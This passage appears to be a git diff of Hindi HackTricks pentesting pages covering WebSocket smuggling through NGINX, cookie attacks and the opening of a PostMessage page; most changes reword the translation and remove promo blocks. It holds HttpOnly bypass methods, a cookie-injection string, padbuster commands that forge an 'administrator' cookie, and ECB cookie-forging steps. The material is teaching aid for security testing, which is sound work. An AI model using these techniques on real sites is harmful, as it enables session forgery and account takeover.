1. The client sends a POST request to trigger the health check API, including an additional HTTP header `Upgrade: websocket`. NGINX, serving as the reverse proxy, interprets this as a standard Upgrade request based solely on the `Upgrade` header, neglecting the request's other aspects, and forwards it to the backend.
|
||||
2. The backend executes the health check API, reaching out to an external resource controlled by the attacker that returns a HTTP response with status code `101`. This response, once received by the backend and forwarded to NGINX, deceives the proxy into thinking a WebSocket connection has been established due to its validation of only the status code.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
||||
|
||||
> **Warning:** इस तकनीक की जटिलता बढ़ जाती है क्योंकि इसे एक ऐसे एंडपॉइंट के साथ बातचीत करने की क्षमता की आवश्यकता होती है जो स्थिति कोड 101 लौटाने में सक्षम हो।
|
||||
> **Warning:** This technique's complexity increases as it requires the ability to interact with an endpoint capable of returning a status code 101.
|
||||
|
||||
अंततः, NGINX को यह विश्वास दिलाया जाता है कि क्लाइंट और बैकएंड के बीच एक WebSocket कनेक्शन मौजूद है। वास्तव में, ऐसा कोई कनेक्शन नहीं है; स्वास्थ्य जांच REST API लक्ष्य था। फिर भी, रिवर्स प्रॉक्सी कनेक्शन को खुला रखती है, जिससे क्लाइंट को इसके माध्यम से निजी REST API तक पहुँच प्राप्त होती है।
|
||||
Ultimately, NGINX is tricked into believing a WebSocket connection exists between the client and the backend. In reality, no such connection exists; the health check REST API was the target. Nevertheless, the reverse proxy maintains the connection open, enabling the client to access the private REST API through it.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||
|
||||
अधिकांश रिवर्स प्रॉक्सी इस परिदृश्य के प्रति संवेदनशील हैं, लेकिन शोषण एक बाहरी SSRF भेद्यता की उपस्थिति पर निर्भर करता है, जिसे आमतौर पर एक निम्न-गंभीरता समस्या माना जाता है।
|
||||
Most reverse proxies are vulnerable to this scenario, but exploitation is contingent upon the presence of an external SSRF vulnerability, typically regarded as a low-severity issue.
|
||||
|
||||
#### Labs
|
||||
|
||||
दोनों परिदृश्यों का परीक्षण करने के लिए प्रयोगशालाओं की जाँच करें [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
Check the labs to test both scenarios in [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
### References
|
||||
|
||||
|
@ -112,12 +104,6 @@ Websocket स्मगलिंग, प्रॉक्सी के माध्
|
|||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,33 +15,26 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Cookie Attributes
|
||||
|
||||
कुकीज़ कई विशेषताओं के साथ आती हैं जो उपयोगकर्ता के ब्राउज़र में उनके व्यवहार को नियंत्रित करती हैं। यहाँ इन विशेषताओं का एक संक्षिप्त विवरण है:
|
||||
कुकीज़ कई विशेषताओं के साथ आती हैं जो उनके व्यवहार को उपयोगकर्ता के ब्राउज़र में नियंत्रित करती हैं। यहाँ इन विशेषताओं का एक संक्षिप्त विवरण है:
|
||||
|
||||
### Expires and Max-Age
|
||||
|
||||
कुकी की समाप्ति तिथि `Expires` विशेषता द्वारा निर्धारित होती है। इसके विपरीत, `Max-age` विशेषता उस समय को सेकंड में परिभाषित करती है जब तक एक कुकी हटा दी जाती है। **`Max-age` का चयन करें क्योंकि यह अधिक आधुनिक प्रथाओं को दर्शाता है।**
|
||||
कुकी की समाप्ति तिथि `Expires` विशेषता द्वारा निर्धारित की जाती है। इसके विपरीत, `Max-age` विशेषता उस समय को सेकंड में परिभाषित करती है जब तक एक कुकी हटा नहीं दी जाती। **`Max-age` का चयन करें क्योंकि यह अधिक आधुनिक प्रथाओं को दर्शाता है।**
|
||||
|
||||
### Domain
|
||||
|
||||
कुकी प्राप्त करने वाले होस्ट `Domain` विशेषता द्वारा निर्दिष्ट होते हैं। डिफ़ॉल्ट रूप से, यह उस होस्ट पर सेट होता है जिसने कुकी जारी की, इसके उपडोमेन को शामिल नहीं करता। हालाँकि, जब `Domain` विशेषता स्पष्ट रूप से सेट की जाती है, तो यह उपडोमेन को भी शामिल करती है। यह `Domain` विशेषता के निर्दिष्ट करने को एक कम प्रतिबंधात्मक विकल्प बनाता है, जो उन परिदृश्यों के लिए उपयोगी है जहाँ उपडोमेन के बीच कुकी साझा करना आवश्यक है। उदाहरण के लिए, `Domain=mozilla.org` सेट करने से इसकी उपडोमेन जैसे `developer.mozilla.org` पर कुकीज़ सुलभ हो जाती हैं।
|
||||
कुकी प्राप्त करने वाले होस्ट को `Domain` विशेषता द्वारा निर्दिष्ट किया जाता है। डिफ़ॉल्ट रूप से, इसे उस होस्ट पर सेट किया जाता है जिसने कुकी जारी की, इसके उपडोमेन को शामिल नहीं किया जाता है। हालाँकि, जब `Domain` विशेषता स्पष्ट रूप से सेट की जाती है, तो यह उपडोमेन को भी शामिल करती है। यह `Domain` विशेषता के निर्दिष्ट करने को एक कम प्रतिबंधात्मक विकल्प बनाता है, जो उन परिदृश्यों के लिए उपयोगी है जहाँ उपडोमेन के बीच कुकी साझा करना आवश्यक है। उदाहरण के लिए, `Domain=mozilla.org` सेट करने से इसकी उपडोमेन जैसे `developer.mozilla.org` पर कुकीज़ सुलभ हो जाती हैं।
|
||||
|
||||
### Path
|
||||
|
||||
`Path` विशेषता उस विशिष्ट URL पथ को इंगित करती है जो अनुरोधित URL में होना चाहिए ताकि `Cookie` हेडर भेजा जा सके। यह विशेषता `/` वर्ण को एक निर्देशिका विभाजक के रूप में मानती है, जिससे उपनिर्देशिकाओं में मेल खाने की अनुमति मिलती है।
|
||||
`Path` विशेषता द्वारा एक विशिष्ट URL पथ को इंगित किया जाता है जो अनुरोधित URL में होना चाहिए ताकि `Cookie` हेडर भेजा जा सके। यह विशेषता `/` वर्ण को एक निर्देशिका विभाजक के रूप में मानती है, जिससे उपनिर्देशिकाओं में मेल खाने की अनुमति मिलती है।
|
||||
|
||||
### Ordering Rules
|
||||
|
||||
जब दो कुकीज़ का नाम समान होता है, तो भेजने के लिए चुनी गई कुकी इस आधार पर होती है:
|
||||
जब दो कुकीज़ का नाम समान होता है, तो भेजने के लिए चुनी गई कुकी इस पर आधारित होती है:
|
||||
|
||||
* अनुरोधित URL में सबसे लंबे पथ से मेल खाने वाली कुकी।
|
||||
* यदि पथ समान हैं, तो सबसे हाल में सेट की गई कुकी।
|
||||
|
@ -80,8 +73,8 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
#### **Bypasses**
|
||||
|
||||
* यदि पृष्ठ **अनुरोधों के उत्तर के रूप में कुकीज़ भेज रहा है** (उदाहरण के लिए एक **PHPinfo** पृष्ठ में), तो XSS का दुरुपयोग करके इस पृष्ठ पर अनुरोध भेजना और **उत्तर से कुकीज़ चुराना** संभव है (एक उदाहरण देखें [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
* इसे **TRACE** **HTTP** अनुरोधों के साथ बायपास किया जा सकता है क्योंकि सर्वर से उत्तर में भेजी गई कुकीज़ को दर्शाया जाएगा (यदि यह HTTP विधि उपलब्ध है)। इस तकनीक को **Cross-Site Tracking** कहा जाता है।
|
||||
* आधुनिक ब्राउज़रों द्वारा **JS से TRACE** अनुरोध भेजने की अनुमति न देकर इस तकनीक को टाला जाता है। हालाँकि, IE6.0 SP2 के लिए `TRACE` के बजाय `\r\nTRACE` भेजने जैसे विशिष्ट सॉफ़्टवेयर में कुछ बायपास पाए गए हैं।
|
||||
* इसे **TRACE** **HTTP** अनुरोधों के साथ बायपास किया जा सकता है क्योंकि सर्वर से उत्तर कुकीज़ को दर्शाएगा। इस तकनीक को **Cross-Site Tracking** कहा जाता है।
|
||||
* आधुनिक ब्राउज़रों द्वारा **JS से TRACE** अनुरोध भेजने की अनुमति न देकर इस तकनीक को टाला जाता है। हालाँकि, IE6.0 SP2 के लिए `TRACE` के बजाय `\r\nTRACE` भेजने जैसे कुछ बायपास विशेष सॉफ़्टवेयर में पाए गए हैं।
|
||||
* एक और तरीका ब्राउज़रों की शून्य/दिन की कमजोरियों का शोषण करना है।
|
||||
* कुकी जार ओवरफ्लो हमले को अंजाम देकर **HttpOnly कुकीज़ को ओवरराइट करना** संभव है:
|
||||
|
||||
|
@ -93,7 +86,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
|
||||
### Secure
|
||||
|
||||
अनुरोध केवल तभी कुकी भेजेगा जब अनुरोध एक सुरक्षित चैनल (आमतौर पर **HTTPS**) के माध्यम से प्रसारित किया गया हो।
|
||||
अनुरोध केवल तभी HTTP अनुरोध में कुकी भेजेगा जब अनुरोध एक सुरक्षित चैनल (आमतौर पर **HTTPS**) के माध्यम से प्रसारित किया गया हो।
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
|
@ -106,7 +99,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
* इन्हें एक डोमेन निर्दिष्ट करने की अनुमति नहीं है, जिससे उपडोमेन में उनके संचरण को रोका जा सके।
|
||||
* इन कुकीज़ के लिए पथ को `/` पर सेट किया जाना चाहिए।
|
||||
|
||||
यह महत्वपूर्ण है कि `__Host-` से प्रारंभ होने वाली कुकीज़ को सुपरडोमेन या उपडोमेन में भेजने की अनुमति नहीं है। यह प्रतिबंध एप्लिकेशन कुकीज़ को अलग करने में मदद करता है। इसलिए, सभी एप्लिकेशन कुकीज़ के लिए `__Host-` उपसर्ग का उपयोग करना सुरक्षा और अलगाव को बढ़ाने के लिए एक अच्छी प्रथा मानी जा सकती है।
|
||||
यह ध्यान रखना महत्वपूर्ण है कि `__Host-` से प्रारंभ होने वाली कुकीज़ को सुपरडोमेन या उपडोमेन में भेजने की अनुमति नहीं है। यह प्रतिबंध एप्लिकेशन कुकीज़ को अलग करने में मदद करता है। इसलिए, सभी एप्लिकेशन कुकीज़ के लिए `__Host-` उपसर्ग का उपयोग करना सुरक्षा और अलगाव को बढ़ाने के लिए एक अच्छी प्रथा मानी जा सकती है।
|
||||
|
||||
### Overwriting cookies
|
||||
|
||||
|
@ -114,7 +107,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
या PHP में कुकी नाम की शुरुआत में **अन्य वर्ण जोड़ना** संभव था जो **अंडरस्कोर** वर्णों द्वारा **बदल दिए जाएंगे**, जिससे `__HOST-` कुकीज़ को ओवरराइट करने की अनुमति मिलती है:
|
||||
या PHP में कुकी नाम के प्रारंभ में **अन्य वर्ण जोड़ना** संभव था जो **अंडरस्कोर** वर्णों द्वारा **बदले जाने वाले थे**, जिससे `__HOST-` कुकीज़ को ओवरराइट करने की अनुमति मिलती थी:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -124,7 +117,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
कुकीज़ में एम्बेडेड संवेदनशील डेटा को हमेशा जांचा जाना चाहिए। Base64 या समान प्रारूपों में एन्कोडेड कुकीज़ को अक्सर डिकोड किया जा सकता है। यह कमजोरी हमलावरों को कुकी की सामग्री को बदलने और अन्य उपयोगकर्ताओं का अनुकरण करने की अनुमति देती है, उनके संशोधित डेटा को कुकी में वापस एन्कोड करके।
|
||||
कुकीज़ में एम्बेडेड संवेदनशील डेटा को हमेशा जांचा जाना चाहिए। Base64 या समान प्रारूपों में एन्कोडेड कुकीज़ को अक्सर डिकोड किया जा सकता है। यह कमजोरी हमलावरों को कुकी की सामग्री को बदलने और अन्य उपयोगकर्ताओं का अनुकरण करने की अनुमति देती है, उनके संशोधित डेटा को फिर से कुकी में एन्कोड करके।
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
|
@ -134,7 +127,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
|
||||
इस परिदृश्य में, एक हमलावर एक पीड़ित को एक विशिष्ट कुकी का उपयोग करके लॉग इन करने के लिए धोखा देता है। यदि एप्लिकेशन लॉगिन पर एक नई कुकी असाइन नहीं करता है, तो हमलावर, जिसके पास मूल कुकी है, पीड़ित का अनुकरण कर सकता है। यह तकनीक इस पर निर्भर करती है कि पीड़ित हमलावर द्वारा प्रदान की गई कुकी के साथ लॉग इन करता है।
|
||||
|
||||
यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, तो पढ़ें:
|
||||
यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, पढ़ें:
|
||||
|
||||
{% content-ref url="cookie-tossing.md" %}
|
||||
[cookie-tossing.md](cookie-tossing.md)
|
||||
|
@ -144,7 +137,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
|
||||
यहाँ, हमलावर पीड़ित को हमलावर की सत्र कुकी का उपयोग करने के लिए मनाता है। पीड़ित, यह मानते हुए कि वे अपने खाते में लॉग इन हैं, अनजाने में हमलावर के खाते के संदर्भ में क्रियाएँ करेगा।
|
||||
|
||||
यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, तो पढ़ें:
|
||||
यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, पढ़ें:
|
||||
|
||||
{% content-ref url="cookie-tossing.md" %}
|
||||
[cookie-tossing.md](cookie-tossing.md)
|
||||
|
@ -152,13 +145,13 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
संभावित दोषों को समझाने वाले पृष्ठ तक पहुँचने के लिए पिछले लिंक पर क्लिक करें।
|
||||
JWT में संभावित दोषों को समझाने वाले पृष्ठ तक पहुँचने के लिए पिछले लिंक पर क्लिक करें।
|
||||
|
||||
कुकीज़ में उपयोग किए जाने वाले JSON वेब टोकन (JWT) भी कमजोरियाँ प्रस्तुत कर सकते हैं। संभावित दोषों और उन्हें शोषित करने के तरीकों के बारे में गहन जानकारी के लिए, JWT हैकिंग पर लिंक किए गए दस्तावेज़ तक पहुँचने की सिफारिश की जाती है।
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
यह हमला एक लॉग इन उपयोगकर्ता को एक वेब एप्लिकेशन पर अवांछित क्रियाएँ करने के लिए मजबूर करता है जिसमें वे वर्तमान में प्रमाणित हैं। हमलावर उन कुकीज़ का लाभ उठा सकते हैं जो स्वचालित रूप से कमजोर साइट के साथ हर अनुरोध के साथ भेजी जाती हैं।
|
||||
यह हमला एक लॉग इन उपयोगकर्ता को एक वेब एप्लिकेशन पर अवांछित क्रियाएँ निष्पादित करने के लिए मजबूर करता है जिसमें वे वर्तमान में प्रमाणित हैं। हमलावर उन कुकीज़ का लाभ उठा सकते हैं जो स्वचालित रूप से कमजोर साइट के साथ हर अनुरोध के साथ भेजी जाती हैं।
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
|
@ -194,13 +187,13 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
```
|
||||
#### कुकी इंजेक्शन कमजोरियाँ
|
||||
|
||||
(अधिक जानकारी के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) सर्वरों द्वारा कुकीज़ का गलत पार्सिंग, विशेष रूप से Undertow, Zope, और जो Python के `http.cookie.SimpleCookie` और `http.cookie.BaseCookie` का उपयोग करते हैं, कुकी इंजेक्शन हमलों के लिए अवसर पैदा करता है। ये सर्वर नए कुकीज़ की शुरुआत को सही तरीके से सीमित नहीं करते, जिससे हमलावरों को कुकीज़ को स्पूफ करने की अनुमति मिलती है:
|
||||
(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) सर्वरों द्वारा कुकीज़ का गलत पार्सिंग, विशेष रूप से Undertow, Zope, और जो Python के `http.cookie.SimpleCookie` और `http.cookie.BaseCookie` का उपयोग करते हैं, कुकी इंजेक्शन हमलों के लिए अवसर पैदा करता है। ये सर्वर नए कुकीज़ की शुरुआत को सही तरीके से सीमित नहीं करते, जिससे हमलावरों को कुकीज़ को स्पूफ करने की अनुमति मिलती है:
|
||||
|
||||
* Undertow एक उद्धृत मान के तुरंत बाद एक नए कुकी की अपेक्षा करता है बिना सेमीकोलन के।
|
||||
* Zope अगले कुकी को पार्स करने के लिए एक अल्पविराम की तलाश करता है।
|
||||
* Zope अगली कुकी को पार्स करने के लिए एक अल्पविराम की तलाश करता है।
|
||||
* Python की कुकी कक्षाएँ एक स्पेस कैरेक्टर पर पार्सिंग शुरू करती हैं।
|
||||
|
||||
यह कमजोरी विशेष रूप से उन वेब अनुप्रयोगों में खतरनाक है जो कुकी-आधारित CSRF सुरक्षा पर निर्भर करते हैं, क्योंकि यह हमलावरों को स्पूफ किए गए CSRF-टोकन कुकीज़ इंजेक्ट करने की अनुमति देती है, जिससे सुरक्षा उपायों को बायपास किया जा सकता है। समस्या Python के डुप्लिकेट कुकी नामों के प्रबंधन से बढ़ जाती है, जहां अंतिम घटना पहले वाले को ओवरराइड कर देती है। यह असुरक्षित संदर्भों में `__Secure-` और `__Host-` कुकीज़ के लिए चिंताएँ भी उठाता है और जब कुकीज़ को बैक-एंड सर्वरों पर भेजा जाता है जो स्पूफिंग के प्रति संवेदनशील होते हैं, तो यह प्राधिकरण बायपास का कारण बन सकता है।
|
||||
यह कमजोरी विशेष रूप से उन वेब अनुप्रयोगों में खतरनाक है जो कुकी-आधारित CSRF सुरक्षा पर निर्भर करते हैं, क्योंकि यह हमलावरों को स्पूफ किए गए CSRF-टोकन कुकीज़ इंजेक्ट करने की अनुमति देती है, जिससे सुरक्षा उपायों को बायपास किया जा सकता है। समस्या Python के डुप्लिकेट कुकी नामों के प्रबंधन से बढ़ जाती है, जहां अंतिम घटना पहले वाले को ओवरराइड करती है। यह असुरक्षित संदर्भों में `__Secure-` और `__Host-` कुकीज़ के लिए चिंताएँ भी उठाती है और जब कुकीज़ को बैक-एंड सर्वरों पर भेजा जाता है जो स्पूफिंग के प्रति संवेदनशील होते हैं, तो यह प्राधिकरण बायपास का कारण बन सकता है।
|
||||
|
||||
### अतिरिक्त कमजोर कुकीज़ जांचें
|
||||
|
||||
|
@ -208,21 +201,21 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
|
||||
* **कुकी** हर बार जब आप **लॉगिन** करते हैं तो **एक जैसी** होती है।
|
||||
* लॉग आउट करें और उसी कुकी का उपयोग करने की कोशिश करें।
|
||||
* एक ही खाते में 2 उपकरणों (या ब्राउज़रों) के साथ लॉग इन करने का प्रयास करें, उसी कुकी का उपयोग करते हुए।
|
||||
* एक ही खाते में 2 उपकरणों (या ब्राउज़रों) के साथ उसी कुकी का उपयोग करके लॉगिन करने का प्रयास करें।
|
||||
* जांचें कि क्या कुकी में कोई जानकारी है और इसे संशोधित करने का प्रयास करें।
|
||||
* लगभग समान उपयोगकर्ता नाम के साथ कई खाते बनाने का प्रयास करें और देखें कि क्या आप समानताएँ देख सकते हैं।
|
||||
* यदि "**मुझे याद रखें**" विकल्प मौजूद है, तो देखें कि यह कैसे काम करता है। यदि यह मौजूद है और कमजोर हो सकता है, तो हमेशा **मुझे याद रखें** की कुकी का उपयोग करें बिना किसी अन्य कुकी के।
|
||||
* जांचें कि क्या पिछले कुकी का काम करता है, भले ही आप पासवर्ड बदल दें।
|
||||
* जांचें कि क्या पिछले कुकी का काम करता है भले ही आप पासवर्ड बदल दें।
|
||||
|
||||
#### **उन्नत कुकी हमले**
|
||||
|
||||
यदि कुकी लॉग इन करते समय समान (या लगभग समान) रहती है, तो इसका मतलब शायद यह है कि कुकी आपके खाते के किसी क्षेत्र से संबंधित है (संभवतः उपयोगकर्ता नाम)। फिर आप कर सकते हैं:
|
||||
यदि कुकी लॉगिन करते समय समान (या लगभग समान) रहती है, तो इसका मतलब शायद यह है कि कुकी आपके खाते के किसी क्षेत्र से संबंधित है (संभवतः उपयोगकर्ता नाम)। फिर आप कर सकते हैं:
|
||||
|
||||
* बहुत सारे **खाते** बनाने का प्रयास करें जिनके उपयोगकर्ता नाम बहुत **समान** हैं और यह अनुमान लगाने की कोशिश करें कि एल्गोरिदम कैसे काम कर रहा है।
|
||||
* **उपयोगकर्ता नाम को ब्रूटफोर्स** करने का प्रयास करें। यदि कुकी केवल आपके उपयोगकर्ता नाम के लिए एक प्रमाणीकरण विधि के रूप में सहेजी जाती है, तो आप उपयोगकर्ता नाम "**Bmin**" के साथ एक खाता बना सकते हैं और अपनी कुकी के हर एक **बिट** को **ब्रूटफोर्स** कर सकते हैं क्योंकि आप जो कुकी आज़माएँगे उनमें से एक "**admin**" की होगी।
|
||||
* **पैडिंग** **ओरैकल** का प्रयास करें (आप कुकी की सामग्री को डिक्रिप्ट कर सकते हैं)। **पैडबस्टर** का उपयोग करें।
|
||||
* **उपयोगकर्ता नाम को ब्रूटफोर्स** करने का प्रयास करें। यदि कुकी केवल आपके उपयोगकर्ता नाम के लिए एक प्रमाणीकरण विधि के रूप में सहेजी जाती है, तो आप उपयोगकर्ता नाम "**Bmin**" के साथ एक खाता बना सकते हैं और अपनी कुकी के हर एक **बिट** को **ब्रूटफोर्स** कर सकते हैं क्योंकि आप जो कुकी आज़माएंगे उनमें से एक "**admin**" की होगी।
|
||||
* **पैडिंग** **ओरकल** का प्रयास करें (आप कुकी की सामग्री को डिक्रिप्ट कर सकते हैं)। **पैडबस्टर** का उपयोग करें।
|
||||
|
||||
**पैडिंग ओरैकल - पैडबस्टर उदाहरण**
|
||||
**पैडिंग ओरकल - पैडबस्टर उदाहरण**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
|
@ -240,7 +233,7 @@ Padbuster कई प्रयास करेगा और आपसे पू
|
|||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
यह निष्पादन आपको कुकी को सही ढंग से एन्क्रिप्ट और एन्कोड करेगा जिसमें स्ट्रिंग **user=administrator** होगी।
|
||||
यह निष्पादन आपको सही ढंग से एन्क्रिप्ट और एन्कोड किया गया कुकी देगा जिसमें स्ट्रिंग **user=administrator** शामिल है।
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
|
@ -254,14 +247,14 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||
|
||||
**ECB**
|
||||
|
||||
यदि कुकी को ECB का उपयोग करके एन्क्रिप्ट किया गया है, तो यह कमजोर हो सकता है।\
|
||||
जब आप लॉग इन करते हैं, तो आपको जो कुकी मिलती है, वह हमेशा एक समान होनी चाहिए।
|
||||
यदि कुकी को ECB का उपयोग करके एन्क्रिप्ट किया गया है तो यह कमजोर हो सकता है।\
|
||||
जब आप लॉग इन करते हैं, तो आपको जो कुकी मिलती है वह हमेशा समान होनी चाहिए।
|
||||
|
||||
**कैसे पता करें और हमला करें:**
|
||||
|
||||
लगभग समान डेटा (उपयोगकर्ता नाम, पासवर्ड, ईमेल, आदि) के साथ 2 उपयोगकर्ता बनाएं और दिए गए कुकी के अंदर कुछ पैटर्न खोजने की कोशिश करें।
|
||||
|
||||
उदाहरण के लिए "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" नाम का एक उपयोगकर्ता बनाएं और देखें कि क्या कुकी में कोई पैटर्न है (जैसे ECB हर ब्लॉक को एक ही कुंजी के साथ एन्क्रिप्ट करता है, यदि उपयोगकर्ता नाम एन्क्रिप्ट किया गया है तो समान एन्क्रिप्टेड बाइट्स दिखाई दे सकते हैं)।
|
||||
उदाहरण के लिए "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" नाम का एक उपयोगकर्ता बनाएं और देखें कि क्या कुकी में कोई पैटर्न है (चूंकि ECB हर ब्लॉक को समान कुंजी के साथ एन्क्रिप्ट करता है, यदि उपयोगकर्ता नाम एन्क्रिप्ट किया गया है तो समान एन्क्रिप्टेड बाइट्स दिखाई दे सकते हैं)।
|
||||
|
||||
एक पैटर्न होना चाहिए (एक उपयोग किए गए ब्लॉक के आकार के साथ)। इसलिए, यह जानकर कि "a" का एक गुच्छा कैसे एन्क्रिप्ट किया गया है, आप एक उपयोगकर्ता नाम बना सकते हैं: "a"\*(ब्लॉक का आकार)+"admin"। फिर, आप कुकी से "a" के एक ब्लॉक के एन्क्रिप्टेड पैटर्न को हटा सकते हैं। और आपके पास उपयोगकर्ता नाम "admin" की कुकी होगी।
|
||||
|
||||
|
@ -270,11 +263,6 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
|
|||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -3,33 +3,20 @@
|
|||
## PostMessage Vulnerabilities
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
